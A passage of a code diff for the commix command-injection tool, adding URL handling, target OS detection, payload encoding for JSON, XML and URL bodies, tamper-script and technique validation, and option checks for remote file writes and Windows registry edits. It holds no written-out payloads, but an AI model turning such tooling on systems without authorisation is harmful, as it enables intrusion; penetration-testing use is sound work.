+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "No known CGI script found, skipping the 'shellshock' module."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ menu.options.shellshock = False
+
+"""
+Safely parse a target URL into components.
+"""
+def check_url(url):
+ try:
+ return _urllib.parse.urlsplit(url)
+ except ValueError:
+ err_msg = "Invalid target URL provided. "
+ err_msg += "Please ensure there are no leftover characters (e.g. '[' or ']') "
+ err_msg += "in the hostname part."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Verify whether the URL scheme is HTTP or HTTPS.
+"""
+def check_http_s(url):
+ # A fragment never leaves the client, so a payload placed after one would silently not be sent.
+ if "#" in url:
+ url, fragment = url.split("#", 1)
+ if fragment and not settings.FRAGMENT_IGNORED:
+ settings.FRAGMENT_IGNORED = True
+ warn_msg = "Ignoring the fragment ('#" + fragment + "') of the provided URL, since it is not sent to the target."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ url_split = check_url(url)
+ if url_split.username and url_split.password and "@" in url_split.netloc:
+ url = url.replace(url_split.netloc,url_split.netloc.split("@")[1])
+
+ if settings.SINGLE_WHITESPACE in url:
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
+
+ if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy):
+ menu.options.ignore_proxy = True
+
+ if settings.CHECK_INTERNET:
+ url = settings.CHECK_INTERNET_ADDRESS
+ else:
+ # A target given without a scheme is given one rather than refused for not carrying it, which
+ # is what asking for the scheme first and prepending it inside that answer amounted to: ':443'
+ # asks for the secure one, anything else for plain.
+ if not re.search(r"^(http|ws)s?://", url, re.I):
+ if re.search(r":443\b", url):
+ url = "https://" + url
+ else:
+ url = "http://" + url
+ # Read again, or the scheme below is taken off the URL as it stood before one was added.
+ url_split = check_url(url)
+ if re.search(r'^(?:http)s?://', url, re.I):
+ settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https"
+ else:
+ err_msg = "Invalid target URL provided. "
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if _urllib.parse.urlparse(url).scheme != settings.SCHEME:
+ if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Forcing usage of SSL/HTTPS requests."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME)
+
+ return url
+
+"""
+Checking connection (resolving hostname).
+"""
+def check_connection(url):
+ hostname = _urllib.parse.urlparse(url).hostname or ''
+ if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname):
+ if not any((menu.options.proxy, menu.options.tor, menu.options.offline)):
+ try:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Resolving hostname '" + hostname + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ socket.getaddrinfo(hostname, None)
+ except socket.gaierror:
+ err_msg = "Host '" + hostname + "' does not exist."
+ if not settings.MULTI_TARGETS:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ except (socket.error, UnicodeError):
+ err_msg = "Problem occurred while "
+ err_msg += "resolving the hostname '" + hostname + "'"
+ if not settings.MULTI_TARGETS:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Force the user-defined operating system.
+"""
+def user_defined_os():
+ if menu.options.os:
+ if menu.options.os.lower() == "windows":
+ settings.TARGET_OS = settings.OS.WINDOWS
+ return True
+ # Both spellings, since 'Unix-like' is what commix calls the family everywhere else and 'Unix'
+ # is what this switch has always taken.
+ elif menu.options.os.lower() in ("unix", "unix-like"):
+ return True
+ else:
+ err_msg = "You defined an invalid value '" + menu.options.os + "' "
+ err_msg += "for the operating system. The value must be 'Windows' or 'Unix-like'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Define the target operating system.
+"""
+def define_target_os():
+ # The shellshock module only applies to a Linux/Unix operating system.
+ if menu.options.shellshock:
+ return
+ else:
+ while True:
+ """
+ The shell is what could not be worked out; the operating system is what a person can
+ answer, and the shell follows from it. "the server's underlying" belonged to the banner
+ check that used to ask this - the question is about the target now, however it answered.
+ """
+ message = "Do you recognize the target's operating system? "
+ message += "[(N)o/(u)nix-like/(w)indows/(q)uit] "
+ got_os = common.read_input(message, default="N", check_batch=True)
+ if got_os.lower() in settings.CHOICE_OS :
+ if got_os.lower() == "u":
+ return
+ elif got_os.lower() == "w":
+ settings.TARGET_OS = settings.OS.WINDOWS
+ return
+ elif got_os.lower() == "n":
+ settings.CHECK_BOTH_OS = True
+
+ return
+ elif got_os.lower() == "q":
+ raise SystemExit()
+ else:
+ common.invalid_option(got_os)
+ pass
+
+"""
+The one name the target's operating system is given, wherever it is printed.
+"""
+"""
+A payload, escaped to sit inside a JSON string.
+
+A JSON string may not hold a raw control character, and three of the separators are exactly that -
+a newline, a carriage return and a substitute character. Left as they were the body was not JSON at
+all, the parser refused it, and the technique looked inapplicable to every JSON endpoint for a
+reason that had nothing to do with the target. The backslash goes too, or one in the payload
+escapes whatever follows it.
+"""
+def escape_json_value(value):
+ escaped = ""
+ for char in value:
+ if char < " " or char in ("\"", "\\"):
+ escaped += json.dumps(char)[1:-1]
+ else:
+ escaped += char
+ return escaped
+
+"""
+A payload, with the characters XML cannot carry taken out.
+
+XML 1.0 admits no control character but tab, newline and carriage return - a substitute character
+in a document makes it unparseable wherever it appears, so the separator that is one cannot travel
+this way at all.
+"""
+def strip_xml_forbidden(value):
+ return "".join(char for char in value if char >= " " or char in "\t\n\r")
+
+def xml_encode_payload(payload):
+ """
+ A payload on its way into a SOAP/XML body, with the characters the document cannot carry as
+ themselves written as their entities.
+
+ What the shell receives is unchanged: the target's parser turns each entity back into the
+ character before the value is used. What changes is that the document stays well-formed, where
+ an '&' or a '<' of the payload's own would otherwise end the request at the parser instead of
+ at the shell. A numeric entity the payload wrote itself is kept, rather than having its own '&'
+ encoded a second time.
+ """
+ if menu.options.skip_xmlencode:
+ return payload
+ marker = settings.RANDOM_TAG
+ payload = payload.replace("", marker)
+ payload = payload.replace("&", "&").replace(">", ">").replace("<", "<").replace("\"", """).replace("'", "'")
+ return payload.replace(marker, "")
+
+"""
+Take the evaluated language from something the target already said about itself.
+
+'X-Powered-By: PHP/5.5.9' names the language before a single probe is sent, and the sweep would
+otherwise go looking for it. Only a language commix has a grammar for counts, and only where the
+user named none - what they asked for outranks what a header happens to mention.
+"""
+def note_evaluated_language(*banners):
+ if settings.IDENTIFIED_EVAL_LANGUAGE:
+ return
+ if menu.options.eval_sink and menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES:
+ return
+ # Whichever of them names a language first: the URL's own extension is the narrower answer, and
+ # the header behind it names what the extension cannot spell.
+ for banner in banners:
+ if not banner:
+ continue
+ # A '.py' extension names Python as surely as the word does, so the short names count too.
+ for name in list(settings.SUPPORTED_EVAL_LANGUAGES) + list(settings.LANGUAGE_ALIASES):
+ if re.search(r"\b" + re.escape(name) + r"\b", banner, re.IGNORECASE):
+ language = settings.resolve_language(name)
+ if language in settings.SUPPORTED_EVAL_LANGUAGES:
+ settings.IDENTIFIED_EVAL_LANGUAGE = language
+ return
+
+def encode_payload(payload):
+ """
+ A payload, encoded for a carrier that is URL-encoded.
+
+ '%' is left alone, because the payloads write their own encoded sequences and re-encoding those
+ would send '%2520' where '%20' was meant. That leaves the corner case of a '%' that really is a
+ per-cent sign: it is not part of a '%XX', the target reads it as the start of one, and a strict
+ server answers 400 rather than running anything.
+
+ So a '%' with no two hex digits behind it is made '%25' first - unless a tamper script is in play,
+ since those write escapes of their own and this cannot tell theirs from a stray one.
+ """
+ # Sent as written, where the target is one that decodes what it is given a second time - or does
+ # not decode it at all.
+ if menu.options.skip_urlencode:
+ return payload
+ if "%" in payload and not menu.options.tamper:
+ payload = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", payload)
+ return _urllib.parse.quote(payload, safe=settings.payload_safe_chars())
+
+def target_shell_label():
+ """
+ What a payload that executed actually established: which shell understood it.
+
+ Not the operating system - a POSIX shell answers on Windows too, under WSL, Cygwin, Git Bash or
+ busybox, so 'a POSIX shell ran this' is no evidence of a Unix-like host. Which syntax works is
+ also the more useful half for whoever is reading, being the half they would act on.
+
+ The standard rather than a shell's name, because which one it is was never asked: 'sh', 'bash',
+ 'dash' and 'zsh' all answer the same syntax, and only that syntax was shown to work.
+ """
+ return "cmd.exe" if settings.TARGET_OS == settings.OS.WINDOWS else "POSIX"
+
+def target_os_label():
+ """
+ What is known is the family, not the distribution: which of the two payload shapes the target
+ answered. Windows names itself; everything else is Linux, macOS, a BSD or another Unix - so the
+ umbrella term for those is what is reported, rather than the shell that gave it away.
+ """
+ return settings.OS.WINDOWS.title() if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like"
+
+"""
+Record an identified operating system. Every check that fingerprints one comes through here, so the
+value stored is always one of the two the rest of the code compares against - a server banner naming
+a distribution is a name for that banner, not for the operating system - and a user who named their
+own with '--os' is asked about a disagreement once, rather than being overruled by whichever check
+happened to run last.
+"""
+def set_target_os(identified):
+ if not identified:
+ return
+ identified = settings.OS.WINDOWS if re.search(r"microsoft|win", identified, re.IGNORECASE) else settings.OS.UNIX
+ previous = settings.TARGET_OS
+ settings.TARGET_OS = identified
+ settings.IDENTIFIED_TARGET_OS = True
+ # Kept for the next run against this target, which then has nothing left to work out here.
+ if not menu.options.ignore_session and settings.TARGET_NETLOC:
+ from src.utils import session_handler
+ session_handler.import_target_os(settings.TARGET_NETLOC, identified)
+ if menu.options.os:
+ user_os = settings.OS.WINDOWS if menu.options.os.lower() == settings.OS.WINDOWS else settings.OS.UNIX
+ if user_os != identified and identified_os():
+ settings.TARGET_OS = user_os
+ # A document root guessed before the operating system was settled is not one now.
+ if settings.TARGET_OS != previous and not settings.USER_APPLIED_WEB_ROOT and not settings.CUSTOM_WEB_ROOT:
+ if not web_root_matches_os(settings.WEB_ROOT):
+ settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT = ""
+
+"""
+Remember the hardware platform the target answered with, so that what was already asked for once
+does not have to be asked for again by whatever needs it next.
+"""
+def set_target_arch(identified):
+ if not identified:
+ return
+ identified = str(identified).strip()
+ if not identified:
+ return
+ settings.TARGET_ARCH = identified
+ # Kept for the next run against this target, the way the operating system is.
+ if not menu.options.ignore_session and settings.TARGET_NETLOC:
+ from src.utils import session_handler
+ session_handler.import_target_arch(settings.TARGET_NETLOC, identified)
+
+"""
+Decision if the user-defined operating system name,
+is different than the one identified by heuristics.
+"""
+def identified_os():
+ # Asked once; every target after that is answered with what was decided then, rather than with
+ # nothing - which read as 'keep the identified one' and quietly dropped the user's own '--os'.
+ if settings.IGNORE_IDENTIFIED_TARGET_OS is not None:
+ return settings.IGNORE_IDENTIFIED_TARGET_OS
+ if settings.IGNORE_IDENTIFIED_TARGET_OS == None:
+ # Named the way the heuristics name it, so whichever check spotted the difference, the two
+ # messages read as the one finding rather than as two operating systems.
+ warn_msg = "Identified a different operating system (i.e. '"
+ warn_msg += target_os_label() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')."
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+ # Each letter names the operating system it settles on, and the capitalised one is the default.
+ message = "How do you want to proceed? [(K)eep the identified '" + target_os_label() + "'"
+ message += "/(f)orce the defined '" + menu.options.os.title() + "'/(q)uit] "
+ while True:
+ proceed_option = (common.read_input(message, default="K", check_batch=True) or "K").strip().lower()
+ if proceed_option in ("k", "f", "q"):
+ break
+ common.invalid_option(proceed_option)
+ if proceed_option == "f":
+ settings.IGNORE_IDENTIFIED_TARGET_OS = True
+ return settings.IGNORE_IDENTIFIED_TARGET_OS
+ elif proceed_option == "k":
+ settings.IGNORE_IDENTIFIED_TARGET_OS = False
+ return settings.IGNORE_IDENTIFIED_TARGET_OS
+ elif proceed_option == "q":
+ raise SystemExit()
+
+"""
+Where each tamper script actually lives, now that they sit under a category directory rather than
+all flat in one - built once per run and kept here, since nothing moves a script mid-run.
+
+Keyed by the bare name every caller already uses ('nashornexec', not 'eval.javascript.nashornexec')
+so '--tamper=' and everything that reads it back stays exactly as it was before the scripts had
+categories at all - only this lookup, and the glob the two callers below used to do directly, needs
+to know where a name's file actually is.
+"""
+_TAMPER_SCRIPT_PATHS = None
+
+def tamper_script_paths():
+ global _TAMPER_SCRIPT_PATHS
+ if _TAMPER_SCRIPT_PATHS is None:
+ _TAMPER_SCRIPT_PATHS = {}
+ pattern = os.path.join(settings.TAMPER_SCRIPTS_PATH, "**", "*.py")
+ for script in sorted(glob(pattern, recursive=True)):
+ name = os.path.basename(script)[:-len(".py")]
+ if name == "__init__":
+ continue
+ _TAMPER_SCRIPT_PATHS[name] = script
+
+ return _TAMPER_SCRIPT_PATHS
+
+"""
+The dotted module path a tamper script's bare name imports as, wherever its category placed it.
+"""
+def tamper_module_path(name):
+ script = tamper_script_paths().get(name)
+ if not script:
+ return "src.tamper." + name
+ rel = os.path.relpath(script, settings.TAMPER_SCRIPTS_PATH)[:-len(".py")]
+ return "src.tamper." + rel.replace(os.sep, ".")
+
+"""
+The tamper scripts the user named, rejected here if any of them names nothing.
+
+Run before the target is touched: an option that cannot be acted on is the user's to correct, and
+leaving it until the payloads are built costs a connection test and a WAF probe to find out.
+"""
+def validate_tamper_scripts():
+ # An encoding named the old way is taken as an encoding before it is judged as a script name.
+ absorb_encoding_tampers()
+ if not menu.options.tamper and not settings.AUTO_TAMPER:
+ return []
+ # What '--tamper' named, then whatever this run adopted for the parameter in hand - the two are
+ # kept in separate places and only ever read together, here.
+ raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else []
+ raw_scripts = raw_scripts + list(settings.AUTO_TAMPER)
+ provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip()))
+ available_scripts = list(tamper_script_paths().keys())
+ for script in provided_scripts:
+ if script not in available_scripts:
+ err_msg = "The '" + script + "' tamper script does not exist. "
+ err_msg += "Use the '--list-tampers' switch for listing available tamper scripts."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS:
+ if first in provided_scripts and second in provided_scripts:
+ err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ return provided_scripts
+
+"""
+Turn '--module' into the switch each named module is read through.
+
+Run before the target is touched, for the same reason the tamper scripts are: a module that does
+not exist is the user's to correct, not something to find out a connection test later.
+"""
+def validate_modules():
+ if not menu.options.module:
+ return []
+ raw_modules = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.module.lower())
+ provided_modules = list(dict.fromkeys(module.strip() for module in raw_modules if module.strip()))
+ for module in provided_modules:
+ if module not in settings.MODULES:
+ err_msg = "The '" + module + "' module does not exist. Available module"
+ err_msg += "s"[len(settings.MODULES) == 1:] + ": "
+ err_msg += ", ".join("'" + name + "'" for name in sorted(settings.MODULES)) + "."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ setattr(menu.options, module, True)
+ # Kept as the names themselves rather than as what was typed, so whatever asks later whether a
+ # module was named does not parse the option a second time.
+ settings.USER_APPLIED_MODULE = tuple(provided_modules)
+ return provided_modules
+
+"""
+Compile what '--test-filter'/'--test-skip' were given, once, before any of it is tested against.
+
+Taken as a pattern where it reads as one, and as the plain text it is where it does not - a filter
+of "';" is what somebody wanting that boundary would write, and it is not a regular expression that
+compiles. A lone '*' or '+' is read the way it is written in a shell rather than as the repetition
+of nothing, which is what it would otherwise be.
+"""
+def validate_test_selection():
+ for option, name in ((menu.options.test_filter, "TEST_FILTER"), (menu.options.test_skip, "TEST_SKIP")):
+ if not option:
+ continue
+ compiled = []
+ # Several of them are given the way every other list this tool takes is given, by comma - no
+ # boundary has one in it, so nothing is lost by reading it that way.
+ for part in (item for item in re.split(settings.PARAMETER_SPLITTING_REGEX, option) if item):
+ # Which techniques run is already '--technique' and '--skip-technique', and a name given here
+ # would either repeat them or quietly contradict them - said rather than taken either way.
+ if re.search(r"[A-Za-z]{2,}", part) and any(part.strip().lower() in known for known in settings.TECHNIQUE_ORDER):
+ err_msg = "The option '" + ("--test-filter" if name == "TEST_FILTER" else "--test-skip") + "' selects payload "
+ err_msg += "boundaries, and '" + part.strip() + "' names an injection technique. Use '"
+ err_msg += ("--technique" if name == "TEST_FILTER" else "--skip-technique") + "' for that."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ pattern = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", part.strip("*+"))
+ try:
+ candidate = re.compile(pattern, re.IGNORECASE)
+ # A boundary is made of the characters a pattern is written in - '|' and '||' are separators
+ # here before they are alternations, and read as the latter they match every boundary there
+ # is rather than the one asked for. Anything that matches nothing at all is meant literally.
+ if candidate.search(""):
+ raise re.error("matches everything")
+ except re.error:
+ candidate = re.compile(re.escape(part), re.IGNORECASE)
+ compiled.append(candidate)
+ setattr(settings, name, compiled or None)
+
+"""
+Whether a boundary is one of those this run was told to try.
+
+Only the boundary itself: which techniques run is what '--technique' and '--skip-technique' decide,
+and these say what each of the running ones puts on the wire.
+"""
+def test_selected(whitespace, prefix, suffix, separator):
+ if settings.TEST_FILTER is None and settings.TEST_SKIP is None:
+ return True
+ boundary = prefix + separator + suffix
+ # Both the way a boundary is held and the way it can be typed: the separators include a newline
+ # and a carriage return, which nobody is going to put on a command line as themselves.
+ label = boundary + settings.SINGLE_WHITESPACE + whitespace
+ label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(boundary, safe="")
+ label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(whitespace, safe="")
+ if settings.TEST_FILTER is not None and not any(pattern.search(label) for pattern in settings.TEST_FILTER):
+ return False
+ if settings.TEST_SKIP is not None and any(pattern.search(label) for pattern in settings.TEST_SKIP):
+ return False
+ return True
+
+"""
+Resolve '--type' into the techniques that show a result that way.
+
+The type is what a finding is reported as, so asking for one is a fair way to ask for the
+techniques behind it - and shorter than naming each of them.
+"""
+def apply_injection_type():
+ if not menu.options.type:
+ return
+ # Asked of the options themselves: this runs before the run has settled which of the two it is on.
+ if menu.options.tech or menu.options.skip_tech:
+ err_msg = "The options '--type' and '"
+ err_msg += "--skip-technique" if menu.options.skip_tech else "--technique"
+ err_msg += "' cannot be used simultaneously."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ # A string of letters, the way '--technique' is given - a separator between them is allowed too.
+ ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE
+ letters = ""
+ for given in menu.options.type.lower():
+ if given in ignored:
+ continue
+ if given not in settings.AVAILABLE_TYPES:
+ err_msg = "You specified wrong value '" + given + "' as injection type. "
+ err_msg += "The value for option '--type' must be a string composed by the letters "
+ err_msg += ", ".join(settings.AVAILABLE_TYPES).upper()
+ err_msg += ". Refer to the official wiki for details."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ letters += settings.AVAILABLE_TYPES[given]
+ menu.options.tech = "".join(sorted(set(letters), key=settings.AVAILABLE_TECHNIQUES.index))
+ settings.USER_APPLIED_TECHNIQUE = True
+
+"""
+The techniques the user named, rejected here on the same ground as the tamper scripts above.
+"""
+def validate_techniques():
+ if not menu.options.tech:
+ return
+ letters = menu.options.tech.lower()
+ for legacy, current in settings.LEGACY_TECHNIQUE_LETTERS.items():
+ letters = letters.replace(legacy, current)
+ selectable = list(settings.AVAILABLE_TECHNIQUES)
+ ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE
+ unknown = [letter for letter in letters if letter not in selectable and letter not in ignored]
+ if unknown:
+ err_msg = "You specified wrong value '" + unknown[0] + "' as injection technique. "
+ err_msg += "The value for option '"
+ err_msg += "--skip-technique" if settings.SKIP_TECHNIQUES else "--technique"
+ err_msg += "' must be a string composed by the letters "
+ err_msg += ", ".join(settings.AVAILABLE_TECHNIQUES).upper()
+ err_msg += ". Refer to the official wiki for details."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+The remaining options whose value can be judged on its own, on the same ground as the two above.
+"""
+def validate_options():
+ if menu.options.level not in (None, False):
+ try:
+ level = int(menu.options.level)
+ except (TypeError, ValueError):
+ level = None
+ if level not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL):
+ err_msg = "The value for option '--level' must be an integer value from range [1, 3]."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.eval_sink:
+ # 'py' and 'python' name the same language, here as for '--interpreter'.
+ if settings.resolve_language(menu.options.eval_sink) not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES:
+ err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. "
+ err_msg += "Supported languages are: " + ", ".join(settings.SUPPORTED_EVAL_LANGUAGES) + "."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.file_write is not None and not menu.options.file_dest:
+ err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.file_dest and menu.options.file_write is None:
+ err_msg = "You must enter the '--file-write' parameter."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC).
+ if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \
+ re.match(r"^[A-Za-z]:[\\/]", menu.options.file_dest)):
+ err_msg = "The value for option '--file-dest' must be an absolute filepath "
+ err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.file_write is not None and not os.path.exists(menu.options.file_write):
+ err_msg = "The specified local file '" + menu.options.file_write + "' does not exist."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ reg_actions = (menu.options.reg_read, menu.options.reg_add, menu.options.reg_del)
+ if sum(bool(_) for _ in reg_actions) > 1:
+ err_msg = "The options '--reg-read', '--reg-add' and '--reg-del' cannot be used simultaneously."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if any(reg_actions) and not menu.options.reg_key:
+ err_msg = "You must specify the Windows registry key to use (i.e. '--reg-key')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.reg_key and not any(reg_actions):
+ err_msg = "The option '--reg-key' requires one of '--reg-read', '--reg-add' or '--reg-del'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.reg_read and not menu.options.reg_value:
+ err_msg = "You must specify the registry value to read (i.e. '--reg-value')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.reg_add and not menu.options.reg_value:
+ err_msg = "You must specify the registry value to write (i.e. '--reg-value')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.reg_add and menu.options.reg_data is None:
+ err_msg = "You must specify the registry value's data to write (i.e. '--reg-data')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.reg_data is not None and not menu.options.reg_add:
+ err_msg = "The option '--reg-data' requires '--reg-add'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if any(reg_actions):
+ if menu.options.reg_type.upper() not in settings.REG_VALUE_TYPES:
+ err_msg = "The value for option '--reg-type' must be one of: "
+ err_msg += ", ".join(settings.REG_VALUE_TYPES) + "."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ menu.options.reg_type = menu.options.reg_type.upper()
+
+"""
+Checking for all required third-party library dependencies.
+"""
+def third_party_dependencies():
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking for all required third-party library dependencies."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ try:
+ __import__("sqlite3")
+ except ImportError:
+ err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library "
+ err_msg += "to store previous injection points and commands. "
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ try:
+ __import__("readline")
+ except (ImportError, AttributeError):
+ if settings.IS_WINDOWS:
+ try:
+ __import__("pyreadline")
+ except ImportError:
+ err_msg = "TAB completion and history support features require "
+ err_msg += "the 'pyreadline' (third-party) library."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ elif settings.PLATFORM == "posix":
+ try:
+ __import__("gnureadline")
+ except ImportError:
+ err_msg = "TAB completion and history support features require "
+ err_msg += "the 'gnureadline' (third-party) library."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ pass
+
+"""
+True when the given module can be imported on this host, without importing it.
+"""
+def _dependency_available(name):
+ import importlib.util
+ try:
+ return importlib.util.find_spec(name) is not None
+ except (ImportError, AttributeError, ValueError):
+ return False
+
+"""
+Lists the third-party dependencies, saying which of them this host already has.
+"""
+def list_dependencies():
+ import shutil
+
+ info_msg = "Checking for third-party dependencies."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ # Named after whichever one is providing it, or after the one to install where none is.
+ readline_module = ("gnureadline", "pyreadline")[settings.IS_WINDOWS]
+ for module in ("readline", readline_module):
+ if _dependency_available(module):
+ readline_module = module
+ break
+
+ rows = [
+ ("sqlite3", _dependency_available("sqlite3"),
+ "Storing the injection points and commands of previous runs."),
+ (readline_module, _dependency_available(readline_module),
+ "TAB completion and command history in the shells."),
+ ("yaml", _dependency_available("yaml"),
+ "Reading an OpenAPI description written in YAML ('--openapi')."),
+ ("git", shutil.which("git") is not None,
+ "Updating to the latest revision ('--update')."),
+ # Read here rather than from settings, which is not given '--msf-path' until later on.
+ ("metasploit-framework", os.path.exists(menu.options.msf_path or settings.METASPLOIT_PATH),
+ "Handing a session over to Metasploit ('--msf-path')."),
+ ]
+
+ menu.print_dependency_table("Third-party dependencies", rows)
+
+ missing = [name for name, installed, _ in rows if not installed]
+ if not missing:
+ info_msg = "Every third-party dependency is installed."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ # Said as a warning rather than an error: all but 'sqlite3' are optional, and each one that is
+ # absent costs only the option named beside it.
+ warn_msg = "Missing third-party dependenc" + ("ies", "y")[len(missing) == 1] + ": "
+ warn_msg += ", ".join("'" + name + "'" for name in missing) + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Print the authentiation error message.
+"""
+def http_auth_err_msg():
+ err_msg = "Use the '--auth-cred' option to provide a valid pair of "
+ err_msg += "HTTP authentication credentials (e.g. '--auth-cred=admin:admin'), "
+ err_msg += "or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized) "
+ err_msg += "and continue tests without providing valid credentials."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Error while accessing session file
+"""
+def error_loading_session_file():
+ err_msg = "An error occurred while accessing session file ('"
+ err_msg += settings.SESSION_FILE + "'). "
+ err_msg += "Use the '--flush-session' switch."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+EOFError
+"""
+def EOFError_err_msg():
+ if settings.STDIN_PARSING:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+
+"""
+Ask whether to ignore an already-completed action's stored session and redo it.
+"""
+def ask_redo_stored_session(verb, redo_action):
+ while True:
+ message = "Do you want to ignore stored session and " + verb + " again? [y/N] "
+ again = common.read_input(message, default="N", check_batch=True)
+ if again in settings.CHOICE_YES:
+ """
+ Ignored for this one action, then put back. The answer was about redoing what was just asked
+ about, not about the rest of the run - left set, every stored result after it is re-fetched
+ from the target, including the ones a later prompt of its own would have offered to keep.
+ """
+ stored_choice = menu.options.ignore_session
+ menu.options.ignore_session = True
+ try:
+ redo_action()
+ finally:
